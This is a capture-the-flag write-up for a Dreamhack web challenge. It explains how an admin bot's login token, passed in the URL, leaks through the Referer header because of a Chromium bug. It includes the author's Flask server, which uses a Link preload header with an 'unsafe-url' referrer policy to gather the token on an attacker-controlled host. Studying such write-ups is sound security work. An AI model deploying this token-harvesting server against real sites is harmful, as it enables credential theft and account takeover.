ShareProfile Revenge
Level 5 web exploitation challenge on Dreamhack.io
The Challenge
https://dreamhack.io/wargame/challenges/2348
Challenge description reveals… NOTHING
Reading through app.py, I need to become admin to get the flag.
Users are authenticated in a strange way on the index page (which also has the “XSS” vector).
When users view the “XSS” content, their token is in the URL query parameters.
This page is also the page which the admin bot visits when you send a report.
1
2
3
4
5
6
7
8
9
@app.route("/")
def index():
db = get_db()
profiles = db.execute("SELECT username, description, image FROM profiles ORDER BY id DESC").fetchall()
token = request.args.get("token")
if token and verify_token(token):
return render_template("index.html", profiles=profiles, is_logged_in=True)
return render_template("index.html", profiles=profiles, is_logged_in=False)
1
2
3
4
5
6
7
<div class="profile">
<img src="" alt="Profile Image" class="profile-image">
<div class="profile-info">
<h2 class="profile-username"></h2>
<p class="profile-description"></p>
</div>
</div>
No obvious XSS here. Through some prompting and thinking, I came up with an idea - what if we could put our own URL in profile.image, and get the admin’s token through the Referer header?
Usually, it’s not possible for cross-origin requests to include the URL query string in the Referer header due to a strict default referrer-policy.
However, the version of chromedriver used is actually vulnerable!
1
2
3
4
5
6
7
8
9
10
# install google chrome
RUN wget -O ./google-chrome-stable.deb https://mirror.cs.uchicago.edu/google-chrome/pool/main/g/google-chrome-stable/google-chrome-stable_130.0.6723.116-1_amd64.deb && \
apt-get install -y ./google-chrome-stable.deb && \
rm ./google-chrome-stable.deb
# install chromedriver
RUN wget -O ./chromedriver.zip https://storage.googleapis.com/chrome-for-testing-public/130.0.6723.116/linux64/chromedriver-linux64.zip && \
unzip chromedriver.zip -d /usr/local/bin/ && \
mv /usr/local/bin/chromedriver-linux64/chromedriver /usr/local/bin/chromedriver && \
rm ./chromedriver.zip
A quick search for “chromium bug query string leak” brought me to this chromium report: https://issues.chromium.org/issues/415810136
Solving was straightforward after finding this vuln. I set profile.image to my own flask app running this code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
stuffz = []
@app.route('/image')
def image():
response = make_response()
response.headers['Link'] = '<https://my-website.com/bruh>; rel="preload"; as="image"; referrerpolicy="unsafe-url"'
return response
@app.route("/stuff")
def stuff():
return str(stuffz)
@app.route("/bruh")
def bruh():
print(request.headers)
stuffz.append(request.headers.get("Referer", "None"))
return 'ok'
